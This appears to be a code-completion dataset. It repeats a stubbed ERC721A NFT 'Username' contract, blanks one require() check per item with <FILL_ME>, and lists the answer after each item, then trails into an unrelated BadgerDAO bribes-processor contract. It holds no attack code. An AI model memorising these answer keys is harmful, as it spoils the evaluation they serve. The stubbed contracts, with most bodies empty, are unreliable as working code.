mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
}
/**
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view override returns (uint256) {
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
}
/**
* @dev Equivalent to `_safeMint(to, quantity, '')`.
*/
function _safeMint(address to, uint256 quantity) internal {
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement
* {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 quantity) internal {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
/**
* @dev Equivalent to `_burn(tokenId, false)`.
*/
function _burn(uint256 tokenId) internal virtual {
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
pragma solidity ^0.8.4;
contract Username is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 public cost = 10000000000000000;
uint256 public ref = 20;
uint256 public ref_owner = 20;
uint256 public ref_discount = 20;
uint256 public domains_fee = 0;
string private BASE_URI = 'https://nftmetadata.live/username/';
bool public IS_SALE_ACTIVE = true;
bool public IS_ALLOWLIST_ACTIVE = false;
mapping(address => bool) public allowlistAddresses;
mapping(string => address) public resolveAddress;
mapping(address => string) public primaryAddress;
mapping(string => mapping(string => string)) public dataAddress;
bytes32 public merkleRoot;
constructor() ERC721A("Username Domain Service", "USER") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setAddress(string calldata ether_name, address newresolve) external {
}
function setPrimaryAddress(string calldata ether_name) external {
}
function setDataAddress(string calldata ether_name,string calldata setArea, string memory newDatas) external {
}
function getDataAddress(string memory ether_name, string calldata Area) public view returns(string memory) {
}
function setBaseURI(string memory customBaseURI_) external onlyOwner {
}
function setPrice(uint256 customPrice) external onlyOwner {
}
function setRefSettings(uint ref_,uint ref_owner_,uint ref_discount_,uint domains_fee_) external onlyOwner {
}
function setSaleActive(bool saleIsActive) external onlyOwner {
}
function setAllowListSaleActive(bool WhitesaleIsActive) external onlyOwner {
}
function register(address ref_address, string memory ether_name)
public
payable
{
uint256 price = cost;
bool is_ref=false;
uint256 ref_cost=0;
require(<FILL_ME>)
if (ref_address== 0x0000000000000000000000000000000000000000) {
price=cost;
} else {
if (bytes(primaryAddress[ref_address]).length>0){
ref_cost=price*ref_owner/100;
} else {
ref_cost=price*ref/100;
}
price = price*(100-ref_discount)/100;
is_ref=true;
}
require (tokenAddressandID[ether_name] == 0 , "This is already taken");
require(IS_SALE_ACTIVE, "Sale is not active!");
require(msg.value >= price, "Insufficient funds!");
tokenIDandAddress[_currentIndex]=ether_name;
tokenAddressandID[ether_name]=_currentIndex;
resolveAddress[ether_name]=msg.sender;
if (is_ref) {
payable(ref_address).transfer(ref_cost);
}
_safeMint(msg.sender,1);
}
function allowList(string memory ether_name, bytes32[] calldata _merkleProof)
public
payable
{
}
function namediff(uint256 tokenId , string calldata new_ether_name) external onlyOwner {
}
function walletOfOwnerName(address _owner)
public
view
returns (string[] memory)
{
}
function lastAddresses(uint256 count)
public
view
returns (string[] memory)
{
}
function setMerkleRoot(bytes32 _newMerkleRoot) external onlyOwner {
}
/** PAYOUT **/
function withdraw() public onlyOwner nonReentrant {
}
}
| bytes(ether_name).length>0,"Write a name" | 80,202 | bytes(ether_name).length>0 |
"This is already taken" | // ERC721A Contracts v3.3.0
// Creator: Chiru Labs
pragma solidity ^0.8.4;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721A {
using Address for address;
using Strings for uint256;
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
mapping(uint => string) public tokenIDandAddress;
mapping(string => uint) public tokenAddressandID;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
}
/**
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view override returns (uint256) {
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
}
/**
* @dev Equivalent to `_safeMint(to, quantity, '')`.
*/
function _safeMint(address to, uint256 quantity) internal {
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement
* {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 quantity) internal {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
/**
* @dev Equivalent to `_burn(tokenId, false)`.
*/
function _burn(uint256 tokenId) internal virtual {
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
pragma solidity ^0.8.4;
contract Username is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 public cost = 10000000000000000;
uint256 public ref = 20;
uint256 public ref_owner = 20;
uint256 public ref_discount = 20;
uint256 public domains_fee = 0;
string private BASE_URI = 'https://nftmetadata.live/username/';
bool public IS_SALE_ACTIVE = true;
bool public IS_ALLOWLIST_ACTIVE = false;
mapping(address => bool) public allowlistAddresses;
mapping(string => address) public resolveAddress;
mapping(address => string) public primaryAddress;
mapping(string => mapping(string => string)) public dataAddress;
bytes32 public merkleRoot;
constructor() ERC721A("Username Domain Service", "USER") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setAddress(string calldata ether_name, address newresolve) external {
}
function setPrimaryAddress(string calldata ether_name) external {
}
function setDataAddress(string calldata ether_name,string calldata setArea, string memory newDatas) external {
}
function getDataAddress(string memory ether_name, string calldata Area) public view returns(string memory) {
}
function setBaseURI(string memory customBaseURI_) external onlyOwner {
}
function setPrice(uint256 customPrice) external onlyOwner {
}
function setRefSettings(uint ref_,uint ref_owner_,uint ref_discount_,uint domains_fee_) external onlyOwner {
}
function setSaleActive(bool saleIsActive) external onlyOwner {
}
function setAllowListSaleActive(bool WhitesaleIsActive) external onlyOwner {
}
function register(address ref_address, string memory ether_name)
public
payable
{
uint256 price = cost;
bool is_ref=false;
uint256 ref_cost=0;
require(bytes(ether_name).length>0,"Write a name");
if (ref_address== 0x0000000000000000000000000000000000000000) {
price=cost;
} else {
if (bytes(primaryAddress[ref_address]).length>0){
ref_cost=price*ref_owner/100;
} else {
ref_cost=price*ref/100;
}
price = price*(100-ref_discount)/100;
is_ref=true;
}
require(<FILL_ME>)
require(IS_SALE_ACTIVE, "Sale is not active!");
require(msg.value >= price, "Insufficient funds!");
tokenIDandAddress[_currentIndex]=ether_name;
tokenAddressandID[ether_name]=_currentIndex;
resolveAddress[ether_name]=msg.sender;
if (is_ref) {
payable(ref_address).transfer(ref_cost);
}
_safeMint(msg.sender,1);
}
function allowList(string memory ether_name, bytes32[] calldata _merkleProof)
public
payable
{
}
function namediff(uint256 tokenId , string calldata new_ether_name) external onlyOwner {
}
function walletOfOwnerName(address _owner)
public
view
returns (string[] memory)
{
}
function lastAddresses(uint256 count)
public
view
returns (string[] memory)
{
}
function setMerkleRoot(bytes32 _newMerkleRoot) external onlyOwner {
}
/** PAYOUT **/
function withdraw() public onlyOwner nonReentrant {
}
}
| tokenAddressandID[ether_name]==0,"This is already taken" | 80,202 | tokenAddressandID[ether_name]==0 |
"Claimed!" | // ERC721A Contracts v3.3.0
// Creator: Chiru Labs
pragma solidity ^0.8.4;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721A {
using Address for address;
using Strings for uint256;
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
mapping(uint => string) public tokenIDandAddress;
mapping(string => uint) public tokenAddressandID;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
}
/**
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view override returns (uint256) {
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
}
/**
* @dev Equivalent to `_safeMint(to, quantity, '')`.
*/
function _safeMint(address to, uint256 quantity) internal {
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement
* {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 quantity) internal {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
/**
* @dev Equivalent to `_burn(tokenId, false)`.
*/
function _burn(uint256 tokenId) internal virtual {
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
pragma solidity ^0.8.4;
contract Username is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 public cost = 10000000000000000;
uint256 public ref = 20;
uint256 public ref_owner = 20;
uint256 public ref_discount = 20;
uint256 public domains_fee = 0;
string private BASE_URI = 'https://nftmetadata.live/username/';
bool public IS_SALE_ACTIVE = true;
bool public IS_ALLOWLIST_ACTIVE = false;
mapping(address => bool) public allowlistAddresses;
mapping(string => address) public resolveAddress;
mapping(address => string) public primaryAddress;
mapping(string => mapping(string => string)) public dataAddress;
bytes32 public merkleRoot;
constructor() ERC721A("Username Domain Service", "USER") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setAddress(string calldata ether_name, address newresolve) external {
}
function setPrimaryAddress(string calldata ether_name) external {
}
function setDataAddress(string calldata ether_name,string calldata setArea, string memory newDatas) external {
}
function getDataAddress(string memory ether_name, string calldata Area) public view returns(string memory) {
}
function setBaseURI(string memory customBaseURI_) external onlyOwner {
}
function setPrice(uint256 customPrice) external onlyOwner {
}
function setRefSettings(uint ref_,uint ref_owner_,uint ref_discount_,uint domains_fee_) external onlyOwner {
}
function setSaleActive(bool saleIsActive) external onlyOwner {
}
function setAllowListSaleActive(bool WhitesaleIsActive) external onlyOwner {
}
function register(address ref_address, string memory ether_name)
public
payable
{
}
function allowList(string memory ether_name, bytes32[] calldata _merkleProof)
public
payable
{
require(IS_ALLOWLIST_ACTIVE, "Allow List sale is not active!");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, merkleRoot, leaf),"Invalid proof!");
require(bytes(ether_name).length>0,"Write a name");
require(<FILL_ME>)
require (tokenAddressandID[ether_name] == 0 , "This is already taken");
allowlistAddresses[msg.sender] = true;
tokenIDandAddress[_currentIndex]=ether_name;
tokenAddressandID[ether_name]=_currentIndex;
resolveAddress[ether_name]=msg.sender;
_safeMint(msg.sender,1);
}
function namediff(uint256 tokenId , string calldata new_ether_name) external onlyOwner {
}
function walletOfOwnerName(address _owner)
public
view
returns (string[] memory)
{
}
function lastAddresses(uint256 count)
public
view
returns (string[] memory)
{
}
function setMerkleRoot(bytes32 _newMerkleRoot) external onlyOwner {
}
/** PAYOUT **/
function withdraw() public onlyOwner nonReentrant {
}
}
| allowlistAddresses[msg.sender]!=true,"Claimed!" | 80,202 | allowlistAddresses[msg.sender]!=true |
null | /// @title AuraBribesProcessor
/// @author Swole @ BadgerDAO
/// @dev BribesProcess for bveAura, using CowSwapSeller allows to process bribes fairly
/// Minimizing the amount of power that the manager can have
/// @notice This code is forked from the VotiumBribesProcessor
/// Original Version: https://github.com/GalloDaSballo/fair-selling/blob/main/contracts/VotiumBribesProcessor.sol
contract AuraBribesProcessor is CowSwapSeller {
using SafeERC20 for IERC20;
// All events are token / amount
event SentBribeToGovernance(address indexed token, uint256 amount);
event SentBribeToTree(address indexed token, uint256 amount);
event PerformanceFeeGovernance(address indexed token, uint256 amount);
event BribeEmission(address indexed token, address indexed recipient, uint256 amount);
// address public manager /// inherited by CowSwapSeller
// timestamp of last action, we allow anyone to sweep this contract
// if admin has been idle for too long.
// Sweeping simply emits to the badgerTree making fair emission to vault depositors
// Once BadgerRewards is live we will integrate it
uint256 public lastBribeAction;
uint256 public constant MAX_MANAGER_IDLE_TIME = 10 days; // Because we have Strategy Notify, 10 days is enough
// Way more time than expected
IERC20 public constant BADGER = IERC20(0x3472A5A71965499acd81997a54BBA8D852C6E53d);
IERC20 public constant AURA = IERC20(0xC0c293ce456fF0ED870ADd98a0828Dd4d2903DBF);
IERC20 public constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address public constant STRATEGY = 0x3c0989eF27e3e3fAb87a2d7C38B35880C90E63b5;
address public constant BADGER_TREE = 0x660802Fc641b154aBA66a62137e71f331B6d787A;
// Source: https://badger.com/graviaura
uint256 public constant MAX_BPS = 10_000;
uint256 public constant BADGER_SHARE = 2500; //25.00%
// A 5% fee will be charged on all bribes processed.
uint256 public constant OPS_FEE = 500; // 5%
// uint256 public constant LP_FEE = 0; // Not used
/// `treasury_voter_multisig`
/// https://github.com/Badger-Finance/badger-multisig/blob/6cd8f42ae0313d0da33a208d452370343e7599ba/helpers/addresses.py#L52
address public constant TREASURY = 0xA9ed98B5Fb8428d68664f3C5027c62A10d45826b;
IVault public constant BVE_AURA = IVault(0xBA485b556399123261a5F9c95d413B4f93107407);
/// BVE_AURA, WETH, AURA
/// https://app.balancer.fi/#/pool/0xa3283e3470d3cd1f18c074e3f2d3965f6d62fff2000100000000000000000267
bytes32 public constant BVE_AURA_WETH_AURA_POOL = 0xa3283e3470d3cd1f18c074e3f2d3965f6d62fff2000100000000000000000267;
